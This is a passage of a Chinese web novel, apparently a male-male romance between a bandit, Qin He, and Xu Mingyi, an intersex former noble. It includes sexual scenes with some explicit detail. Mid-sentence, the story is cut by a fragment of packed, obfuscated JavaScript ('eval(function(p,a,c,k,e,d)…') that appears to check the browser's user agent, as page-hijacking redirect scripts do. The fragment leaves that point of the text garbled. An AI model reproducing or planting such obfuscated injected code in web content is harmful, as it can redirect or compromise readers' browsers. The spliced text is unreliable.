秦河:“啊?什么?”他装聋作哑,“明意,一会儿想吃什么?天儿太热了,要不中午吃拌面吧,剁点儿肉酱当浇头,再摘几根黄瓜。” 许明意看了秦河一会儿,说:“秦河,过来。” 秦河:“嗯?”他靠近微微倾身,四目相对,就见许明意朝他靠了过来,那一刹那间,秦河呼吸都屏住了,目光不受控地落在许明意薄红的唇上。他几乎以为许明意要吻他,心脏跳得快极了,如万马奔腾疯狂窜动—— 下一瞬,许明意堪堪错开了他的嘴唇,印在了他的颊上。 血刷的涌了上来,秦河伸手想抓住许明意,他却已经灵巧地退了开去,看着秦河,露出一个似笑非笑的神色,他轻快地转身,摆了摆手,道:“我摘黄瓜去。” 秦河愣了下,看着许明意摇摇晃晃的轻快背影,又气又笑,整个人却神魂颠倒的,回味了又回味,他伸手摸了摸自己的脸颊,到底是忍不住笑出了声。 秦河答应了许明意要好好想想关于二人的未来,是当真放在了心上,他叮嘱许明意,不再做响马的事只能和他说,别让任何人知道。许明意上山的日子短,不知道江湖规矩,寨有寨归,许明意当初加入平顶寨是喝过血酒发过誓的,想要脱身,依着寨子里的规矩,最轻也要三刀六洞。 挨了那三刀,人就废了,秦河不可能让许明意去受这刑罚。而且当初秦河落魄被官兵追杀时,是大当家寇达救了他,给了他一口饭吃,寇达对他有知遇之恩,人得知恩图报。这些年,秦河嘴上说要攒钱娶媳妇,生孩子给秦家传香火,可也只是嘴上说说罢了,留个过去的念想。当响马,娶姑娘就是祸害人,秦河千不出这事儿,这些年心思也不在情爱上,没开窍。其实打当初他杀了那地主给他爹报仇之后,秦河就没有想过以后了。他如同丛林中的野兽,全凭敏锐的直觉在这个充斥着血腥暴力的世界里活了下来。遇见许明意之前,秦河没有觉得落草为寇有什么不好,林冲还被逼上梁山,是世道杀人,不让他做良民。 人能活着,管得了自己就不容易了,哪里还有那么多善心仁慈?又不是菩萨佛陀。庙里的菩萨受百姓香火,也不见得百姓的日子有多好过。 直到许明意认真地和他说,他不会做一辈子响马。 许明意不肯做响马,秦河想,也许是许明意心慈,也是,他当初不就是把逃命的机会给了别人,自己留下断后吗?他是富贵少爷出身,金贵,又读过书,怎么肯做一辈子响马? 秦河不想和许明意分开,便也只能去想一想他们的以后了。这种感觉很神奇,好像日子更有盼头了,可又让秦河发慌,不做响马做什么呢?杀戮的日子过久了,秦河都不知道自己能做什么?他能让许明意过上好日子吗?未来变得明朗又不明朗。 未知总是让人迷茫的。 不过秦河这人有个好处,他心性纯粹,也有股子狠劲,打定了主意之后就轻易不会改。寨子里可以没有秦河,许明意能靠的却只有他。他们在这个世上都孤零零的,许明意又不会照顾自己,秦河怕自己一不留神,这世上的虎豹豺狼就将他吃了。 最要紧的是,他不能没有许明意,舍不下他。 二人揭破了那层窗户纸,许明意有过一瞬间的懊悔,可片刻过后,却又轻松下来,再赌一回吧。在四九城里,他尚且敢赌,怎么到了现在还越活越回去了,畏首畏尾,瞻前顾后,这不像他。想通之后,许明意不得不承认,他对秦河是有喜欢的。至于这份喜欢有多少分量,许明意没掂量清楚,可那种对视触碰间涌动的暧昧却如脉脉流水滋养过千涸的土地,贫瘠泥壤润泽过后隐隐钻出新绿,让人身心都愉悦起来。 秦河与许明意都正当血气方刚的年纪,那层窗户纸还没捅破时,尚且能自持,通了心意,当真是恨不得时刻都黏在一起才好。 更不要说二人朝夕相处,同住一个屋檐下。 后来还是教秦河亲着了许明意的嘴,这小子兴奋坏了,亲起人来笨拙又凶,含着他的嘴唇不住辗转,又舔又咬的,许明意被他弄疼了,揪着他的头发骂他,“乱啃什么!” 秦河抽着气,蹭他湿红的嘴唇,道:“咬疼了吗?我吹吹。"声音喑哑,眼里都是澎湃炙热的欲望,那眼神看得许明意手脚发软,掌心潮湿,他突兀地笑了一下,带着秦河不曾见过的风情,他说:“小雏儿。” “嘴都不会亲,“许明意挨过去,抵着他的嘴唇,呢喃道,“我教你。” 秦河看得都愣了一下,血哗的一下子涌上脸颊,直冲天灵盖,许明意的舌头湿软灵巧,钻入他口中舔他的舌尖,上颚,如黏腻发情的蛇,勾得秦河本能地搅着他的舌头吞吃。亲是亲不够的,二人都才洗过澡,热潮的胸膛亲密无间地挨挤着,手抚摸着彼此汗涔涔的脖子,胳膊,短褂布料都抓皱了,又忍不住钻进了里头。 粗糙的手掌乍一贴上细腻皮肉时,许明意打了个颤,颧骨眼角都一片情动的红。秦河已经无师自通地吮向他的脖颈,二人就跌坐在了床上。 秦河是关外人,个头高,肩膀也宽,胳膊紧绷着都是结结实实的肌肉,他微微俯身时几乎能将瘦削的许明意藏在身下,带着十足的独属于男人的侵略性。 许明意觉得自己兴许是不正常了。 他本该极厌恶这种侵略性,可此刻当下,他竟情动得不行。在嫁给张靖遥之前,他没想过自己会和男人在一起,和他在一起之后,对这档子事也是惧怕居多,是闻鹤来教会了他情欲之乐。如今脱了身,他再做回男人,能刺激他的,勾起他兴致的,也是男人健硕的身体。 这个想法让许明意有点儿不快,可又无端地兴奋。秦河的呼吸滚烫粗重,烧灼着他脖颈的皮肉,又如火似的,燎了上来,含着许明意的嘴唇吮吸,叫他,“明意,明意。” 许明意微微眯着湿润的眼,他摸着秦河的耳朵,下颌,问他:“秦河,你知道怎么干?” 秦河听那最后一个字就浑身发紧,他咽了咽,脑子里竞有些空白,又有点儿处男的窘迫。秦河没和别人好过,可到底是在响马寨中,男女那事儿的荤话听过许多,许明意这么一问,那些荤段子在耳边时远时近地响了起来,笼罩着情色的暧昧,变得活色生香。 再活色生香,都比不过眼前躺在他身下,面颊潮红的许明意。 秦河猛地想起,那些荤段子都是男人和女人,男人和男人要怎么弄?! 许明意瞧着他那呆愣的样子,就笑了一声,道:“不是早就喜欢我了吗?没去想想男人怎么在一起?” 秦河支支吾吾,要说没想过是假的,春梦都做过,可那也是朦朦胧胧,隔水望花。再多的,秦河没敢多想,许明意那时也没给他一点盼头,还拿自己不喜欢男人这套说辞来拒绝他,都是秦河剃头挑子一头热。秦河这么一想,还有点儿委屈,说:“没敢想!也没想过你会真的和我好。” 许明意看着秦河,心中一软,低声道:“真这么喜欢我?” 秦河想也不想,道:“喜欢。” 许明意盯着他看了会儿,突然翻身骑在了秦河身上,他说:“秦河,我的身体和别人有点儿不一样。” 秦河下意识地扶住他的腰,没明白,“什么?” 许明意伸手解自己的短褂,白皙的皮肉在桌上煤油灯的余光里越发显得白,这半年里跟着秦河练功,他身体也结实了许多,覆着薄韧漂亮的肌肉,没有半点纤弱。 秦河直勾勾地盯着许明意展露出的上身,下-瞬,却见许明意支起身,直接将裤子也脱了,秦河呆了呆,脸红了个彻底。 许明意垂着眼睛,跪坐在秦河身上,秦河想摸他抱他一时间都不敢伸手,脑子里嗡嗡作响,直到许明意离他越来越近,几乎都要逼近他的脸,耳边传来许明意略显冷淡又低哑的声音,说:“看着我。” “好好看看,“许明意说,“秦河,还喜欢吗?” 秦河做梦都不敢做这样的梦。 一宿春宵,秦河食髓知味,不知餍足,即使后来被缠烦了的许明意迷迷糊糊、不轻不重地扇了两巴掌,他也没恼,反而更黏糊地抱紧了许明意。借着昏暗的煤油灯光晕,秦河支着自己的脸颊,仔仔细细地看着许明意,看了半晌,又笑起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许明意道:“当心你爹生气,今晚入你的梦打断你的腿。” 秦河不以为然道:“我爹要来那就是听到了,他不会打断我的腿,我媳妇多好啊,聪明漂亮,胆识过人,又是读书人,那是打着灯笼都找不到的好媳妇,除了不能生……”他一顿,咕咕哝哝地说,“也不定不能生……”没说完的话在许明意的目光里消弭无踪。 许明意冷笑道:“想生孩子做你的春秋大梦去吧。” 河怕他着恼,叫道:“我没想,就是那么一说,打我喜欢你开始,就没想过那些了。” 许明意当然知道秦河的心思,不过生子是他心里的一根刺,即便那些事早已经过去,听在耳中,依旧会有几分不快。他不言语,秦河凑近了,低声道:“明意,你别恼,我真的没想你生孩子,是我说错话了。” “能和你在一块儿,我就很高兴了,再没别的想法。” 许明意看着秦河,见秦河恨不得发誓明志了,方慢慢道:“就是你想也不可能,大夫看过了,我生不了。” 秦河哪儿还有什么生不生的念头,听他说起看过大夫,下意识地问道:“大夫怎么说的?会对你身子不好吗?'' 许明意愣了一下,道:“什么?” 秦河抓了抓脑袋,也不知如何描述,说:“就是男人是男人,女人是女人——你是男人,身上多长那么一个东西,到底是多出来的,会不会对你的身体不好?” 许明意沉默了下来,他看着秦河的眼睛,那双眼里的担忧不似作伪一一自他知事起,所碰见的人中知他生那东西,或露出厌恶鄙夷,或看中的是能如女子一般怀孕生子,或生出猎奇情欲。这是第一次有人担心,那多出来的器官会妨碍他的身体。 秦河见他不说话,眉毛皱了起来,“明意?” 许明意摇摇头,道:“没事,不会妨害我的身体。” 秦河松了口气,脑子里不期然地浮现昨夜看见的风景,热气腾的涌上脸,喉咙干涩,嘴唇好似泛起了腥甜的味道,眼神也游移起来。许明意尚且沉浸在那一瞬间的动容里,抬起眼,就见秦河不知在想什么,肤色微黑的脸颊都红了。 许明意:“想什么呢?” “……挺好看的,”秦河想也不想就答,说完,又紧紧闭上了嘴。 许明意一顿,眯起眼睛盯着秦河,秦河无地自容,破罐子破摔地含含糊糊说:“就,就是挺好看的一一嗷!明意!我不说了!" 许明意气急败坏,耳朵红透,抄起桌上的茶壶指着蹿出三尺开外的秦河:“秦石虎!你还要不要脸?!” 秦河:“媳妇别砸,家里就这一个茶壶!” 这茶壶还是许明意来了之后秦河买的,否则依他的性子,是用不上这东西的。 许明意:“滚!” 秦河嘿嘿笑了下,许明意茶壶就丢了过去,好在秦河身手好,眼疾手快地接了空茶壶, 乐滋滋地道:“水烧好了,我去给你泡茶嗷。” 许明意和秦河都正当年,是一个眼神都能擦枪走火的年纪,尝过情欲滋味,更是难耐。许明意也没想再克制,秦河本就喜欢极了许明意,对他的身体更是抱有无限的热情,痴迷至极,无比热衷于探索许明意身体的每一处,好像赏玩不够,喜爱不够。 只一条,秦河太过莽撞,就如林野中凶猛的野兽,难以操控驾驭。许明意喜欢又有些战栗,或许是过往的经历,激起了许明意藏在骨子里的掌控欲,如此,方觉得心中安定。 二人在床榻之间,就有了几分博弈角力的意味。 真论起原始野蛮的力量,两个许明意也抵不过秦河,可床上的事,总不能按常理来定。 许明意头一回将秦河绑起来的时候,脸也似饮过酒,兴奋得让秦河都清晰地察觉了,他松弛下紧绷结实的肌肉,以一种柔软驯顺的眼神看着许明意,许明意短促地喘息了声,嘴唇嫣红,鼻尖上缀着情动的汗水,他攥着拴在秦河肩颈的麻绳,看着这个寨中强大勇猛的男人像被困住的野兽在他身下,他情难自抑地奖励地亲吻秦河的眼睛。 许明意贪恋驾驭秦河的快感,痴迷他的百般隐忍,更喜欢他隐忍过后那一瞬间的失控粗暴,危险可怖,可又如此让人沉醉。 许明意真正尝出了一点情爱的快活,真正地没有任何负累的,全然地投入其中。 无怪有人能沉迷风月至此。 在那些日子里,许明意听着秦河一口一个老婆媳妇,听他说起以后,有那么一瞬间恍惚地真的觉得他和秦河说不定就真能这么过一辈子了。 可世事,总是不由人。